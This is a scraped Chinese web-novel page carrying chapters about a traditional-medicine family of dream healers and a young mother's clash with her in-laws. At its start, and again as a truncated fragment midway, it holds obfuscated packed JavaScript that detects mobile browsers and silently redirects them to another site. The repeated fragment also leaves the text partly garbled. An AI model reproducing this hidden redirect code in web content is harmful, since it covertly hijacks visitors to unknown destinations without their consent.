;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530083|186364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能倒是能,但这会伤到甲方的精气,甲方要花费长久时间来修养恢复的,不着急的话还是来文的吧,为甲方考虑也是医者仁心嘛。” “既然不推荐武取,为什么还会有这种方法,可见它既存在,就一定有它存在的意义跟价值,大姐你就跟我讲下怎么操作吧。”传人十分好奇,就想多知道一些。 “直接武取只适用于很严重的情况下或者甲方身体很强健,我虽不推崇以蛮力驱除梦眼,但也不会藏着掖着。你听好了,在找不到梦眼的时候,可以直接破坏掉梦境里幻化的甲方,这时候不管梦眼藏在哪里,你都不用管,只需要盯紧甲方就好,幻化的甲方本质上是梦眼的一部分,形体遭到破坏,梦眼要么会收回这部分虚体,要么会重塑梦境,这时候你只要跟着虚体走,就会找到梦眼。” 传人听明白了,但是破坏是怎么破坏呢。 “就是你想的那样,字面意义上的破坏。”传岚看着传人,露出不明意义的笑容。 “是杀死甲方吗?”虽然是在梦里,但传人一想到那个场景还是心有戚戚的问到。 “是啊,所以我说要少用嘛,甲方梦见自己被杀死,惊惧不安而心神不宁,进而造成精气受损,可不要好长时间来修养嘛。”传岚看传人像唱戏的换脸一般的表情,也不再吓他,补充到,“你也不用太害怕,这幻化的甲方是虚体,即便斩杀了他,也不过是化作一缕青烟回归梦眼本体罢了,不过。”传岚话锋一转。 “不过什么?” “不过这是梦主人的情况下。” “那人控梦呢?” “人控梦啊,那就得看是哪种甲方喽,要是碰上性格恶劣的甲方,那就不是青烟了。” “那是什么?” “是什么,当然是你想的那样,是会噗呲噗呲冒血的样子喽,这种甲方,梦眼掺杂了自我意识,会把梦境里的一切都当真的来看,真实的人受伤了会流血,梦里自然也是这样。” 传岚知道传人在嗫嚅犹豫什么,只是现在不便多说,后面什么时候方便了再说吧。 舒华高兴地跑过来,手来捧着一颗大钻石,传岚哭笑不得,也不知道他在哪找到的。 传岚看着手里的钻石,心下一惊,顿时有不好的想法冒出来,“不好,舒华的梦眼怕是觉醒意识了。”刚才传人和传岚在外面都找过了,并没有碰见过钻石,如果一开始就有,这种亮晶晶的东西肯定会看见,不会没有印象,但是只有舒华看见了还拿了来。 传岚试探问道:“舒华,你是在哪找到的,能带我去看下吗?你看我们三个人,这才一颗钻石,不够分啊,要是我们每人一个就好了,你说是不是啊。” “是啊是啊,不过我也是找了好久才找到的,不知道那还有没有,我带你过去找找吧。”舒华带两人去了之前找到钻石的地方。 “你确定是在这找到的吗舒华?”花园休息椅这,传岚确定找过了,没有任何亮晶晶的东西。 “是啊,你说找宝贵又亮晶晶的东西,我找了好久怎么找都找不到,眼看时间要到了,正着急呢,一回头就看见这有颗大钻石,我想着钻石又闪又贵,肯定是宝物。” “哦,那这里肯定还有别的钻石,我们再找找。”传岚听完舒华的话建议到,装了装样子找了会,就指着空无一物的桌子惊讶叫到,“舒华,你看这桌子上是不是有两颗大钻石啊,还是粉色的,刚都没发现嗳。”完了还朝传人使了个眼色。 “是啊,好大好漂亮的粉钻啊。”传人迅速反应过来,附和着说。 “是吗,在哪啊?”舒华凑上前来。 “就在桌子上啊,你看不到吗,好大两颗。”传岚又说。 “是啊,好漂亮的。”传人继续捧哏。 “没有啊,我没看到啊。” “真的有,你仔细看啦,是不是刚寻宝眼睛累了,你看。”传岚有模有样的从桌子上拿起钻石,放在手上,方便舒华看的清楚。 舒华揉了揉眼睛,再睁开,“是真的嗳,哇,好大两颗粉钻,好漂亮啊。” 传岚和传人亲眼看着空无一物的手上凭空多了两颗大粉钻,对了一眼,心一沉,脑中齐齐冒出完了的想法,今天这事,不能早了了。 传岚对着传人苦笑,犹豫要不要动武,突然瞥见旁边的图书馆,阳光照在玻璃上反射出一道道亮闪闪的光线。 传岚一顿夸赞,将舒华忽悠着又去找钻石了。 “你去图书馆放把火。”传岚对传人悄声说道。 “没工具,怎么点火?” 传岚像是听到什么不可思议的话一般瞪大了双眼,“你之前是怎么驱梦的?” “就看见梦眼,用锁锁塔装起来就好了。” “锁锁塔哪来的?”传岚问。 “姑姑说一喊就出来了。” “那你喊个火,看它出不出来。” 传人听话的喊了几句,“它不出来。” “那为什么你喊锁锁塔的时候它就出来了。” “不知道啊。” 算了,姑姑估计也是拿以前听爸爸有一嘴没一嘴说的话教的传人,现在还是不计较这些了。 “你喊锁锁塔它就出来是因为你平日里冥想的时候就描绘想象过它的样子,驱梦师在梦里靠什么啊,靠想象造物啊,想象越丰富越坚定,实物越清晰越结实啊,你去,专心致志想着火,看出不出来。” 传人像渴求知识的学生终于碰到了老师一般,欢欢喜喜的立马实践起来,几番尝试,终于在指尖生出了微弱的火苗。 “别喊,该干嘛干嘛去。”传岚拍了此时兴奋乱喊的传人一掌,示意尽快去做事。 传岚坐在椅子上休息,特意挑选了一个视野好的位子后招呼舒华过来歇会再找,舒华捧过来一堆钻石坐下,什么颜色的都有。 屁股还没坐热,舒华哗地一下站起,连带着椅子都倒了,一句“着火了”还飘在空气里,人早已像野兔一样奔向了图书馆。 反应过来的传岚连忙跟着跑过去,拦住舒华:“火太大了,进不去啊。” “快救火啊,我的书还在里面呢。” “你不能进去,现在进去太危险了。” “你放开我,我要去拿我的书。” “那么多书,哪能拿的过来啊。” “我不全拿,就拿刚开始看的那本就好了,那本书对我很重要。” “我帮你去拿,你呆在这。” 传岚要过去确认下舒华的梦眼是不是藏在了最开始分享的那本书里。 传人见大姐过来,迎上前去。 “大姐,你怎么过来了?舒老师呢?” “他在外面,我过来找眼儿,纪传人,我接下来的每一步操作,你都要仔细看好了,能不能领悟,领悟到哪种地步就看你自己了。”说完传岚心神合一,周遭便生出了两米宽的避火罩,四周的火焰齐齐退避而去。 看见不远处火焰照耀下泛着微光的金属书签,传岚伸手,两指甩出朱砂,打在书签上,朱砂即刻融进了书签,从书签上飘出来一根红线,蔓延连结到了传岚手腕上。 传人看着不一样的锁锁塔出现漂浮在空中,莫名觉得有些熟悉。就在传岚准备收了梦眼时,舒华的梦境发生了变化,大雨如倾盆落下,不时便浇灭了烈火,同时,图书馆场景如走马灯似的顷刻间就更换成了办公楼,传岚手腕间的红线飘向了外面,二人视线随着红线的方向望去,只见舒华走了进来,那红线停在了舒华的心口位置,梦眼,又回到甲方身上了。 “是传人,医生你也在啊。”舒华上前打招呼。 “舒老师好,这是我大姐,纪传岚。”传人乖巧介绍到。 “这位医生竟然是你姐姐,真是有缘嗳,上次去医馆就是你姐姐帮我看的。” “等会啦姐。”传人看见大姐的锁锁塔已经飘在了舒华身后。 “?你们有事吗?有事的话可以先忙的,我们有时间再聊啦。” “我们也没什么事,舒老师是在这上班吗?”传岚看了看时间,隐藏了锁锁塔,看着一身职业装束,带着工作证的舒华问到。 “对啊,前不久才辞的职,刚好心仪的杂志社招聘编辑,我就投递简历了,谁知道运气好好,一下就被录取了,现在在这上班哦。” “恭喜恭喜啊,找到新工作了。” “谢谢医生啊,还要多谢你当初鼓励我,要不然我也没有勇气辞职,也不会找到自己喜欢做的工作了。” “不用,这都是你自己努力的成果,谢你自己就好了,快进去上班去吧,别迟到了。” 舒华与二人道了别朝着里面走去,背后的传岚立马召唤出锁锁塔,将舒华收了进去。 “大姐你真残忍,就不能等舒老师进去再收吗。” 传岚看了看手臂内侧的走香,距入梦已经过去半个多小时了,他翻了个白眼,“我都找到梦眼了,还不趁着它刚觉醒性格温和收了它,等它意识再强烈些,不听话了费劲去收?我脑子有毛病啊,就这,已经看在他是你老师的面子上格外温和了,还这么多废话,再说废话耽误时间,梦境坍塌了把你埋在里面别怪我,赶紧抓紧时间回,角香要燃尽了。” 传岚睁开眼,已经快十点半了,角香还剩下拇指长短,万幸在香尽之前回来了。 传岚早先已经洗漱完毕,可以直接休息了,传人还想问些什么,无奈已经被下逐客令了。 5. 深陷困境,家庭事业两难全 钟雨花目光呆滞的抱着怀里不断啼哭的婴儿,机械地拍着哄睡,脑海里不断地回荡着刚才公公指责自己说的话。 “现在的媳妇都太不像话了,生个娃还矫情要去外面坐月子,这以前生娃连医院都不用去,哪像现在,一天天的就知道花钱,这家里本来花销就大还不知道省着点,合着花的不是他的工资就不心疼是吧。” “行了,你少说点,雨花又不是不挣钱,人家之前不照样也工作拿工资,谁生娃不花钱,你当是养条狗每天喂点剩饭什么的这么容易。” 雨花出来喝水,名义上称呼为公公的陌生老男人拉着脸坐在沙发上像大爷一样一动没动,只有婆婆上前关心:“怎么这会出来了,没多休息会?” “口渴,出来倒杯水。”雨花听见了,他全部都听见了,但他不想理会,生气只会扯的伤口疼。 “我来,有什么事你喊我就好了,你快回去歇着,果果呢?”婆婆王秀芬接过水杯倒了一杯水,连带着保温壶一起拿进了雨花的房间。 “还没醒。” “没醒你也再睡会,带娃就是熬人,待会早饭收拾好了你来吃,我来看果果。”秀芬是个善良的人,他知道生养孩子的苦,能替媳妇省点力,他是愿意出力的。 “妈,谢谢你啊。”雨花接受了婆婆的好意,转身回房了。 “你以后少说这些话,有空帮我买买菜,带带果果,家里就阿弥陀佛了。”秀芳看雨花进了房,走过来对张志才说道,顺手收拾了他泡茶时弄脏的茶几。 “你爱伺候人,少拉上我,天底下只有媳妇伺候公婆的,没听过有老公公伺候媳妇的,这说出去都叫人笑掉大牙。”张 志财摇头晃脑的吸了一口烫茶,呸的一声又把喝进去的茶叶吐在了茶几上。 “谁让你伺候媳妇了,你愿意人家还不愿意呢,你照照镜子吧,只是让你帮忙带带果果,这可是你张家的娃,你不带谁带。” “谁爱带谁带,反正别找我,嗳,我就看不惯有些人这轻狂样,家里还没富到拿钱当纸花呢就这么大手大脚的,现在没工作还不省着点,以后就靠张勇一个挣钱,这光花钱不挣钱也就算了,连娃都要别人看,要他做啥么。”张志才吸溜吸溜的喝着他的茶,说话间嘴里带着茶叶茶梗喷的茶几上到处都是水渍。 “行了行了,再不要说了,我也不指望你帮我了,实在忙不过来了你发个善心搭把手也当是积了福了,总行吧。” 张志才哼了一声,没接话,吃了早饭就去楼下溜达着找人下棋去了。 当初生小孩的时候雨花跟张勇再三确认,家里确能养得起小孩他才生的,在外面坐月子也是两人早就达成共识的,没想到这三万一个月的月子中心像一根刺一样扎进了张志才的喉咙里,让他这般难受,三番五次的拿出来骂他败家。 不过才一个月子中心而已,三万块钱,也就自己五个月的工资,至于这么上纲上线揪住不放了吗,更何况这钱又不是让他掏的,他心疼个什么劲儿,凭什么骂自己败家,想自己生小孩都走了一趟鬼门关了,肚子上一刀划下去就是七层皮肉,三万块钱的月子中心有什么坐不得。 钟雨花脑子里全是这段时间公公过来里外里指桑骂槐的话,这些话像紧箍咒一样狠狠地箍在雨花的脑袋上,疼的他翻来覆去彻夜难眠,再加上晚上小孩一会醒来一会醒来闹得他睡不好,短短几天时间,不说修养,反倒是更添了几分憔悴。 晚上张勇回来,雨花立马把他叫进房里说工作的事,他要立马出去工作,这个家他再多待不了一刻了。 “不是说好果果三岁以后再出去工作的吗,三岁以后,不管是托班还是我妈带都方便些,你现在就去工作,我妈一个人怎么带的过来?”张勇不同意雨花现在就出去工作。 “我们可以找那种半托班的或者请临时保姆来过渡下,我查过了,这种半托或保姆的话一个月只要3000多,果果现在一岁多,我出去工作,省着点的话也是可以的,只要熬个一两年,妈就可以一个人带了,我们下班了就替换妈,你说呢?”雨花怕张勇不同意,又补充道,“妈要是有事,我也可以让我妈过来帮忙带几天。” “还是晚点吧雨花,你在家和妈一起带果果不是挺好吗,一个月三千,对我们负担还是太重了,我们还要还房贷车贷呢。” “可是我出去工作也可以挣钱啊,挣钱了请个保姆或送托班不会花你的钱啊。” “这不是花不花我钱的事,你怎么能这样想呢雨花,我是那种人吗,我的钱就是你的钱啊,只是我是这样想啊,你看你出去找份工作,累死累活的一个月挣三四千,全花在别人身上干嘛啊,还不如跟妈在家一起看果果,你也清闲不用那么累,妈也轻松,多好啊。” “张勇,我不出去工作,你知不知道你爸怎么说我的,他说我不挣钱就知道花你的钱,说我矫情要住三万的月子中心,说谁没生过孩子就我金贵,张勇,你摸着良心说,我矫情吗?我生孩子的时候,胎儿卡位,在里面受了八个小时的罪,肚子上划的那一刀划在你爸身上得吓死他,我在鬼门关上走了一趟啊,就这,住了个月子中心还被戳脊梁骨似得说了半年,就因为你掏了那三万块钱啊,你是掏了月子中心的钱,可难道我就没掏吗,我要是没掏,那小孩的衣服玩具都是谁买的,你爸凭什么这么说我啊。” “宝宝不哭啊,宝宝最勇敢了,谁说我们宝宝矫情,瞎了眼。”李勇一边安慰雨花一边抽了张纸凑到跟前帮忙擦眼泪。 “我才在家一年多,不过才没工作一年,就被说成这样了,张勇,我受够了你知道吗,我不敢想象要是哪天真的手心朝上跟你要钱你会不会跟你爸一个嘴脸,我一想都害怕,我不要再呆家里了,再呆家里我会疯的。” “雨花你冷静点,”张勇摇了摇雨花,将他的头按在自己肩膀上,“我跟我爸不一样,我爸是老思想,我们接受了新教育和他们不一样,你相信我,你再忍两年,就两年,等果果大点了,再出去工作好吗?” “不可以,我受不了了,我要立刻马上去工作。”雨花从张勇的臂弯里腾的一下弹起。 “雨花,我没说不让你去工作,相反我还很支持,你出去挣钱对我来说还减轻了我的担子,只是果果真的还小,我妈年纪大了,孩子太小他一个人看不好,你再忍忍好吗,就两年,两年马上就过去了。” “不要不要不要,我一会都忍不了了,我已经忍了一年了,我忍的心理都要扭曲了,再忍下去,我觉得我会疯的。”雨花一想到自己还要在这种环境里与张勇他爸抬头不见低头见的生活两年就感觉到窒息,只有马上去工作才能逃离躲避掉这种窒息感。 张勇见雨花此时没了理智,好说歹说听不进去良言,自己也有些生气,不禁语气有些重:“钟雨花,你为什么非得要出去,果果还这么小,你怎么忍心让他没有妈妈的陪伴,你这样做,还算是个母亲吗。” 不料雨花像是被触到逆鳞一般,跳起来控诉道:“你是死了吗,你不是他爸爸吗,为什么要把小孩扔给我一个人。” 雨花有满腔的爱,可同时又生出了满腔的恨,他恨张勇把孩子扔给自己一个人,在暗无天日的鸟笼里与他的父母斡旋,没有尊严,没有自由,也没有空气,长久的压抑与束缚使他在听到这句话时原地爆发。 “你疯了钟雨花,我是为你好,你现在脑子不清醒,我没法跟你说,等你冷静下来我们再说吧。”张勇承受不了雨花的情绪,这情绪太阴郁太沉重,他背负不起,只想马上逃离。 “张勇你站住,我现在可清醒的很,我告诉你,我不是同你商量,这是通知,给你两周时间,看你是办托班还是请保姆,一找到工作我就会立马去上班。” “你疯了,你简直疯了。”张勇站在门前就要出去,手才伸起来,还没碰到门把手,张志才就从外面砰的一下推开了,以迅雷不及掩耳之势‘嗖的一下’窜到雨花跟前‘唰’的给了雨花一巴掌,这突然而至的一巴掌将雨花和张勇同时打的猝不及防,茫然无措。 反应过来的张勇顾不上被门撞的痛,上前护住雨花,生气的质问到:“爸,你干什么。” “反了天了,张勇让你在家看娃就看娃,不看娃你想上天啊,不像样子。” “这是我们夫妻之间的事情,跟你有什么关系啊,你搅和进来干什么,还不嫌麻烦吗?”本来有些烦恼的张勇因为张志才的插手顿时烦躁的不行,心里的火腾的一下就起来了。 雨花被打耳光后,脸火辣辣的,耳朵脑子嗡嗡响,一时没反应过来怎么回事,等反应过来的时候看见眼前那个没血缘没情分的老男人嘴巴一开一合的正吐唾沫星子。 “啊-------” 雨花要把这一年里受的气,藏在心里的憋屈都喊出来,他扑上前去,朝着那老头狠狠地还了一巴掌,这还不够,他要将心里肚子里的所有气都撒出来,他再也不要忍下去了,哪怕是明天离婚,他今天都要干这一仗。 “老东西你敢打我,我爸妈都没打过我,你算个什么东西。”雨花扑上去,再不管什么家和万事兴的屁话,连踢带打,张勇在中间拉架,一点也拉不住,雨花像化身的野兽,红着眼六亲不认,中间的张勇也挨了好几巴掌。 可怜秀芬抱着果果在外面急的直跺脚抹泪,嘴里一边骂着张志才搅事精,一边劝雨花冷静点。 一时,这家里好不热闹,咒骂声,哭喊声,搅在一起,简直如听仙乐耳暂明。 打完一架后,雨花通体舒畅,就连身上一点酸疼也算不得什么了。张志才挨完打,气焰一下子没了,但是仍然强撑着在那骂骂咧咧的嘴硬,骂完雨花骂张勇,骂完张勇骂秀芬,骂完秀芬再骂天骂地骂那些虚无缥缈的纲常制度。 “老东西再嘴碎,哪天把我逼疯了,一刀砍死你我们大家清净。” “爸,求你消停会好不好,你是不是得把我们大家都逼疯才高兴啊。” 不敢再招惹疯了的雨花,张志才逮着自己儿子死命骂:“你个不孝顺的死东西,干看着你爹被打骂,养你不如养条狗,狗还知道看家护院帮主人咬别人,你就晓得帮外人,养不熟的白眼狼,要是早知道现在这样,当初就应该把你掐死算了。” 张勇闻言将手里的杯子摔在地上,只听“砰”的一声,看过去,地板已被砸裂了,杯子的碎片迸过划破了张勇的小腿,但他毫不在意,把脖子伸了过去:“来来来,你今儿个就把我掐死,掐死了算你厉害,掐不死算我,来!” 张志才才看清,原来人逼急了也是有脾气的,哪怕是家里的人,看着儿子伸过来的脖子,他强势了一辈子的嘴突然不知道说些什么,嗫嚅了半天,脸上又红又辣,突然,他想到什么似得,开始左右扇起了自己的脸:“我也不掐你,干脆你把我掐死算了,人老了老了,还活成累赘了,你翅膀硬了,眼里也没有这个爸妈了,哪天我跟你妈寻个结实的地方,一绳子吊死算了,活着还干啥,只惹人嫌。” 秀芬把果果抱给了雨花,让他进房间关好门去休息,又推搡打发张勇去楼下药店买点创可贴处理下腿上的划伤,自己 则留下来清扫打理战场。 “你说这干啥嘛,你一天做这到底给谁看么,人两个的事情你有啥理由掺和进去,我一个帮忙看娃当婆婆的都没摆谱,你一个绕了十万八千里的老公公哪来的脸说这说那的,人雨花不跟张勇结婚,认得你是个谁,你当是我吗,想说就说,你出去看看,这都啥年代了,还摆这谱。” 张志才听着秀芬的话,气不过也摔了一个杯子。秀芬习以为常,顺带又收拾打扫了一番。 “你干脆回老家去,我帮着带到两三岁也就回去了。”秀芬收拾完,立定,真诚的建议到。 “回去?我凭撒回去,这养儿防老,当初买这房把我积蓄都花完了,这就是我的房,我哪也不去,就待在这。” “这城里楼房有啥好嘛,就这么大点么,又不是乡下,两代人能住一起,咱们挤在这干撒么,你不方便的他不方便,带娃也用不上你,你先回去么,等娃大了,想长住短住再过来都行么。” “啥时候我不想住了会自己走,但你也别想赶我走。” “啥赶你,我明年也就回去了,这住一起就是不方便么。” “谁不方便?谁不方便让谁来跟我说,你少在这充大头嘴里胡咧咧。” “你这人,算了算了,跟你说不通,刚惹人嫌。” 晚饭时分,雨花连门都未出,大家默契的一句话未说,安静到只有筷子和碟子的清脆碰撞声和张志才吃饭时的吧唧吧唧声。 传岚其实不太喜欢回老宅吃饭,因为人太多了,导致大家也吃不好,爷爷还在的时候,光用来专门吃饭的地方就有三个,吃西餐的长桌,十几米的摆了两排,像在会议室里吃饭一样,吃中餐的圆桌,又分为节日里聚的大圆桌和日常聚的小圆桌,大圆桌一道菜上来,一人一筷子就没了,分辈分的小圆桌就还好些。 爷爷去世后,大家一致同意撤掉吃西餐的长桌和大圆桌,但大伯只同意撤掉长桌,仍然保留大圆桌,说是节日里大家齐坐一桌显得热闹团圆些。 之前说好要去大伯那里聚聚,这周末正好是大伯母的生日,大家便商量着一起过去凑个热闹。 老宅在三环碧水湾的半山腰里,一处的共有六户人家,离得近的也就北边那户,环境虽好,但离市中心还是有些距离,大家图着工作方便基本结了婚的都在市中心买房搬了过去,现在只有大伯常住在那,二叔也在六艾上班,时间充裕,但他烦大伯话多不愿久住,为了迁就喜欢自然环境的二伯母,他们是两边跑,姑姑因为在医院医馆上班,便搬去了医馆附近。 大伯纪明仁与大伯母方慧育有纪月庭,纪月容,纪月朗三个小孩,老大纪月庭跟着大伯在六艾药业做经营,已经育有一子,老二纪月容在当地高校担任副院长,育有一女,老三纪月朗刚毕业不久,和人合伙开了个餐厅自己当老板,年纪比传岚大个三四岁;二叔纪明义与二伯母董文秋只育有一女纪乐清,二姐纪乐清继承了二叔的志向当了歌手,常年不在家;姑姑纪明礼排行老三,因个人身体原因无法生育,至今未婚,在中医院上班的同时还兼顾着医馆的管理运行;老四纪明德和妻子传凌云育有传岚和传人两子。 生前,纪明德与传凌云全权经营医馆,传凌云在传人六岁的时候病故,纪明德在传人十岁的时候出车祸去世,大伯与姑姑都想抚养传岚与传人,考虑到传人年纪尚小需要健全的家庭氛围,姑姑也同意了大伯的建议,但传岚主动提出要姑姑抚养,于是此后,传岚就跟随姑姑生活,传人由大伯一家照顾,虽说分开照顾,但直至爷爷去世之前,大家都是住在老宅里,即便因工作原因搬出在外的,如无例外,每月也要固定回来相聚个一两次。 吃完饭,由人撤了碗筷收拾,大家一起到旁边坐着喝茶闲聊。 “传岚啊,念完心理学还有没有其它打算啊?”大家长纪明仁首先发话,关心到。 “目前还没其它想法,有个认识的朋友在上海介绍了个心理咨询的工作,先去瞧瞧。” “我当你是读着玩,怎么还真去搞什么心理学了,传岚啊,学这么多年医不容易啊,还是回来做事的好,不管是在你姑姑那,还是来六艾跟着你大哥,总归你学医,不论去哪,我们这两处都合适,何必舍近求远,跑那么远去搞什么心理咨询,你说是不是啊。”纪明仁接着说道。 “是啊传岚,你就听你大伯的话,回家里来做事,我们这么大的公司还没你一个职位吗,还跑去做什么咨询啊,叫人听见了,还以为我们厚此薄彼不管你,让人怎么说你大伯。”方慧在一边附和着。 “妈,岚岚喜欢搞心理研究你就让他去做了,你管别人怎么说,我们家又不缺人做事,就让岚岚做自己喜欢做的事不好嘛。”大姐纪月容在旁边说。 “我这不是为传岚好吗,这家里总比外面好些。” “谢谢大伯大伯母关心,我就是现在感兴趣,等哪天我没什么兴趣了,再回来家里上班嘛,一毕业就回家里上班,觉得太无聊了。” “你这孩子,打小就有主意,鬼机灵也不少,想出去玩两年也好,什么时候想回来了跟你大哥说一声,也少受些辛苦,只是别像你月朗哥,不听话,非要出去乱搞,跟人开什么餐厅,我估计啊撑不过两年就要倒闭了。”方慧倒也不是个迂腐的人,也尊重现在年轻人毕业后先玩一段时间来纪念青春再投身工作的想法,月朗毕业后就是去外面玩了一圈才回来工作的。 “你也别瞎操心,别看传岚主意大,到底是个听话懂事的好孩子,像三弟跟弟妹,一家子都是性格温和好相处的,不过是我们年纪大,看他们还是孩子,那在外面,也算是能拿事的大人了,也该放手让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老二啊,先前不是说让乐清考虑考虑回来家里吗,你们怎么说的,这老在外面搞唱歌这个事又不是个长久的事,总不能让孩子像你似的在外面浪费那么多年时间,临了中年才回来吧,这样的话倒不如趁早就回来的好,家里的事趁早熟悉了还能帮月庭分分担子。” “你要是真的闲,就帮月庭多带带孩子,或者去药田里多转几圈,这药田全部视察完怎么着也得要个一年半载的,够你解闷了,别老是管这管那的,我们家闺女你操的哪门子心啊,又不是没爹妈,他爱唱歌怎么了,像我怎么了,他爱唱歌,唱一辈子我养一辈子,管真宽还你。” “二哥!”“明义!”明礼和文秋同时出声打断。 “二哥也该改改脾气,这什么话该说什么话不该说也要思量下再说,大家又都不是小孩子了,哪还能不顾忌的想说什么就说什么,也不怕人伤心,再说,有这么跟大哥说话的吗,你就不能好好说,非得夹枪带棒的吗。”什么叫‘又不是没爹妈’,明着传岚姐弟两个在场,还脾气上来胡说。 文秋也是听到明义的话,在跟前紧着拍他提醒道,奈何说上头的明义哪里注意到这些。反应过来的明义心里也懊恼自己嘴太快,他本意只是想叫大哥别越俎代庖借着关心说教自家女儿,没成想误伤了传岚姐弟两个。 “二叔不是这个意思,传岚传人你们别乱想啊,二叔就是。” “没事二叔,我跟传人知道你没这个意思,我们两又不是小孩子了,不会放心上的。”传岚知道二叔虽不像大伯似唐僧般爱念叨,但嘴巴也像刀子一样厉害,看谁不爽就直说,哪怕是大伯也经常被反驳的下不了台,但同时他性格耿直又爽朗大气,看重家庭有情有义,不会无缘无故拿话去伤害别人的。 “爸你也是,再关心弟弟妹妹,也要尊重年轻人的爱好选择嘛,爱护晚辈,又不是只能放在跟前护着,这跟那些溺爱孩子导致孩子社会经验不足的家长有什么区别,年轻人总要在外面闯一闯的,你有这心很好,但也不要好心办错了事,照我说,还不如过年给弟弟妹妹们发个大红包呢,他们肯定喜欢这个。”在旁边安静逗弄小孩的纪月庭开口笑说着解围。 “是啊是啊,你刚才还说叫我不要操心,看来这真正不要操心的那个人是你才对,该听月庭的话,过年给传岚传人乐清他们几个包个大红包才好。”方慧看了眼儿子,紧接着附和道。 “是吗,那我可记着了啊大伯,要是过年没有大红包我可不依啊。” “多大的人了,都工作了还要红包,你好意思啊。”明礼适当调侃到。 “有,都有,不管多大,大伯这都给你们包。”纪明仁也舒展了眉头,不差钱的全部应承下。 “那我就提早谢谢大伯了,二叔,姑姑,你们也不能落下哦。”传岚面面俱到,红包一个不落。 “到时候二伯母给你包个大大的。”文秋与传岚他们没有什么直接的利益纠葛,本着心疼孩子,平日里也时常嘱咐乐清多关心关心传岚他们,单懂事这方面来讲,文秋也很是喜欢传岚姐弟,尤其是今天,不怨怼二叔说错了话,还主动帮着给二叔解围,真是个好孩子,文秋走过来拉着传岚的手说道。 “那我可不是要小发一笔财了,说起来,我还没结婚,月庭哥跟月容姐是不是也要给我包红包。”传岚笑问。 “你算盘还打我身上了,我都没红包收,还给你包,想得美。”月容笑回,月庭依旧在那笑笑没搭话。 “哈哈,传岚你放心,他们为大,作为哥哥姐姐就该给你们包,我让他们给你包。”相比之前一问一答一板一眼的聊天,纪明仁似是更喜欢现在大家有说有笑,插科打诨的相处,是他想要的其乐融融的大家庭。 化解了哥俩剑张跋扈的氛围,大家稍坐了一会也都陆续收拾回去了。 “工作的事,你到底是怎么想的?”车上,明礼问道。 “去上海啊,姑姑不是知道的嘛。” “岚岚,你能跟姑姑说实话吗,你为什么不愿意回家里,又为什么突然不学医了要跑去念什么心理学,姑姑到现在都不知道为什么。” 也没为什么,就是觉得在座的各位太虚伪了,六艾药业本就是大家的,自己和传人还都持有股份,虽然现在是大伯和二叔在代持,但毕竟也算是股东,怎么现在沦落到自己工作还要大伯一家像施恩似得来关心安排,因为是长辈就能不把传岚传人放在同一个等级上对待吗? 在特定时期,传岚他们要算纪明德一家而不是单单失去父母的晚辈。怎么,时间太久了,大家都忘记代持代管的‘代’字了吗,还是说根本没把传岚他两放在眼里。大家都不在一个牌桌上,传岚当然不喜欢,自然不愿意回去与他们多打交道,他还有事想做,且让他们神气去吧。 “六艾那有大伯大哥还有二叔,我就不去添麻烦了吧。”传岚去了做什么呢,大伯与大伯母虽然每次都热情洋溢的招揽大家去公司,可是有哪次是直接明确的说为传岚保留了什么职位吗,既没有,去了做什么呢,难道果真去做些不受累的闲事就是他的好意和安排吗,这样的好心他倒不是很需要呢。 “怎么会是添麻烦呢,都是一家人,你去了,和你月庭哥一起发展六艾,他也轻松些。” “月庭哥怕是不想轻松。”那个在家里永远笑意盈盈温和有礼的大哥,在大家说话时一言不发偶尔搭腔的大哥吗? “什么不想轻松?”明礼没听清楚。 “大姐说月庭哥那儿可不轻松,他不想去嘞。”后排的传人接话。 “这做事哪能怕辛苦,哪个功成名就的人怕辛苦,就怕没得辛苦事呢,你也是学医的,能不明白这个道理?” 原来姑姑也明白,但姑姑明白是明白,只是单向的明白,不愿意多想一下,这就是这么多年了姑姑一直是姑姑而不是妈妈的原因。 传岚叹了口气,看了看姑姑,说:“工作的事姑姑就不要操心了,我今年也不过才24,过两年再说吧,说不定那时候又想去继续读医了。” “行吧,你也大了,自己也能做主了,姑姑也不多说,免得你觉得我哆嗦。” 车内陷入沉默,谁也不愿意说多说深,只蜻蜓点水般掠过了这个话题,传人似有所感知般未曾轻易接话,只装不懂。 6. 幼子跌落,失独母亲患失语 这眼看着要临近过年了,传人也放了假,明礼意思传岚姐弟俩没事做可以出去逛街玩玩,顺带买点装饰,到时候装点家里,奈何传岚不想带着传人这个拖油瓶,转手便将这个任务交给了传人,自己则每天神出鬼没的不着家,问就是出去跟朋友聚聚。 最近一段时间,传岚每天除了固定去医馆呆两个小时,剩下的时间都泡在了郊外的一家养老院里,去养老院里做义工并不是突发奇想心血来潮,传岚上大学的时候就开始断断续续的做义工了,说起来这七年的时间里已经服务过三四家养老院了,传岚想不起来当时去做义工的契机是什么,只是这么多年就这样断断续续的做下来了,也就当成了自己必做清单里的一项。 养老院里不乏有些见识宽广,思想深邃的人,他们年纪大了没有老伴不想麻烦子女就主动过来了养老院,周末再由子女接回去住。院长知道传岚学医后显得很是高兴,时不时提出要传岚给院里老人把把脉,给食堂大厨出几个适合当下节令的食疗方子的要求,传岚虽三番五次拒绝,但拗不过院长强烈的意愿,便只答应简单做一些心理辅导,养生建议之类的事,其它的一概严词拒绝。 说是心理辅导,其实也就是多陪老人聊聊天,宽解宽解那些因子女有事未能及时接回家而胡思乱想的老人,养生建议,也不过是看哪些老人不适合吃什么,列个单子规避掉而已,这建议吃什么雷点太多,不好下手,可这建议不吃什么就容易多了。 